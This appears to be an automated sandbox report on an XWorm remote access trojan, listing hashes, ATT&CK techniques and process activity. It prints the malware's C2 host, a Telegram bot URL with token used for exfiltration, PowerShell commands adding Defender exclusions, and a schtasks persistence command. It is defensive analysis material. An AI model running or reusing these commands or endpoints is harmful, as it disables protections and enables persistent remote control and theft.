xworm | bfc092b384976e97153bae0e29359461bfd65fce5ad8188d6460de57bc680eaf

Analysis

max time kernel
148s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
02-08-2024 18:52

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General

Target

1/3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe
Size

487KB
MD5

f451292bbe0b4c16d244c251105de16a
SHA1

a527d277ccc25ad97ae64fb76767f1e2cda66ff2
SHA256

3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a
SHA512

d53a9cd31a3a98eb88af0c5454007adf8c897db53b6518a9f0c019af0bdcb906bf9fbca616b5ee03d7adfa397a16af06bbfbbbf36d15b89fdf3b96fb79fd439a
SSDEEP

6144:MNDD+bHpEiGXQ4rnc+UI73whSk7MIhWI3tf5Jx/R7ZCe7w4uoVLdaPYZHuW31bZ+:MNncp0jUI73F0DhHbbzCMwI11b

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

schools-copper.gl.at.ply.gg:14154

Attributes

Install_directory
%Userprofile%
install_file
svchost.exe
telegram
https://api.telegram.org/bot6887301557:AAE2e7AcjyzPeaHQb_2XBthrT3TTCKt7jCs/sendMessage?chat_id=7045481276

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral20/memory/1608-1-0x0000000000E10000-0x0000000000E8E000-memory.dmp	family_xworm
behavioral20/files/0x000d00000002337c-57.dat	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3476	powershell.exe
768	powershell.exe
4192	powershell.exe
4900	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe

Executes dropped EXE 2 IoCs

pid	Process
2640	svchost.exe
4316	svchost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\svchost.exe"	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
628	schtasks.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3476	powershell.exe
3476	powershell.exe
768	powershell.exe
768	powershell.exe
4192	powershell.exe
4192	powershell.exe
4900	powershell.exe
4900	powershell.exe
1608	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	1608	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe
Token: SeDebugPrivilege	3476	powershell.exe
Token: SeDebugPrivilege	768	powershell.exe
Token: SeDebugPrivilege	4192	powershell.exe
Token: SeDebugPrivilege	4900	powershell.exe
Token: SeDebugPrivilege	1608	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe
Token: SeDebugPrivilege	2640	svchost.exe
Token: SeDebugPrivilege	4316	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1608	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1608 wrote to memory of 3476	1608	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	84
PID 1608 wrote to memory of 3476	1608	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	84
PID 1608 wrote to memory of 768	1608	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	86
PID 1608 wrote to memory of 768	1608	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	86
PID 1608 wrote to memory of 4192	1608	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	88
PID 1608 wrote to memory of 4192	1608	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	88
PID 1608 wrote to memory of 4900	1608	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	90
PID 1608 wrote to memory of 4900	1608	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	90
PID 1608 wrote to memory of 628	1608	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	92
PID 1608 wrote to memory of 628	1608	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	92

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\1\3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe
"C:\Users\Admin\AppData\Local\Temp\1\3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe"
1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\1\3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\svchost.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4900
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\svchost.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:628

C:\Users\Admin\svchost.exe
C:\Users\Admin\svchost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2640

C:\Users\Admin\svchost.exe
C:\Users\Admin\svchost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4316

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost.exe.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
2e907f77659a6601fcc408274894da2e

SHA1
9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

SHA256
385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

SHA512
34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
34f595487e6bfd1d11c7de88ee50356a

SHA1
4caad088c15766cc0fa1f42009260e9a02f953bb

SHA256
0f9a4b52e01cb051052228a55d0515911b7ef5a8db3cf925528c746df511424d

SHA512
10976c5deaf9fac449e703e852c3b08d099f430de2d7c7b8e2525c35d63e28b890e5aab63feff9b20bca0aaf9f35a3ba411aee3fbeee9ea59f90ed25bd617a0b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
725d1601bf03c6e58a409299578d1f5b

SHA1
1e22c1262e4e52a6ba720123d46248682044287b

SHA256
27d15cad8a8cd92cf33575cac1a4ff1ea14c749413049c077572d676a0a1ebde

SHA512
29d6b8960efdc22a590b1512bb81ca4d58f9eb15f722fff5fa16a95a44c4c7802e82b9123eb2b24cae0441968e11f588556a2ee7aa2f08dab347604ddb61956e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nyzkniwn.n4n.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\svchost.exe

Filesize
487KB

MD5
f451292bbe0b4c16d244c251105de16a

SHA1
a527d277ccc25ad97ae64fb76767f1e2cda66ff2

SHA256
3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a

SHA512
d53a9cd31a3a98eb88af0c5454007adf8c897db53b6518a9f0c019af0bdcb906bf9fbca616b5ee03d7adfa397a16af06bbfbbbf36d15b89fdf3b96fb79fd439a

Download Submit
memory/1608-1-0x0000000000E10000-0x0000000000E8E000-memory.dmp

Filesize
504KB

Download
memory/1608-2-0x00007FF810820000-0x00007FF8112E1000-memory.dmp

Filesize
10.8MB

Download
memory/1608-0-0x00007FF810823000-0x00007FF810825000-memory.dmp

Filesize
8KB

Download
memory/1608-56-0x00007FF810820000-0x00007FF8112E1000-memory.dmp

Filesize
10.8MB

Download
memory/1608-55-0x00007FF810823000-0x00007FF810825000-memory.dmp

Filesize
8KB

Download
memory/3476-3-0x0000020AF5F70000-0x0000020AF5F92000-memory.dmp

Filesize
136KB

Download
memory/3476-17-0x00007FF810820000-0x00007FF8112E1000-memory.dmp

Filesize
10.8MB

Download
memory/3476-15-0x00007FF810820000-0x00007FF8112E1000-memory.dmp

Filesize
10.8MB

Download
memory/3476-14-0x00007FF810820000-0x00007FF8112E1000-memory.dmp

Filesize
10.8MB

Download
memory/3476-13-0x00007FF810820000-0x00007FF8112E1000-memory.dmp

Filesize
10.8MB

Download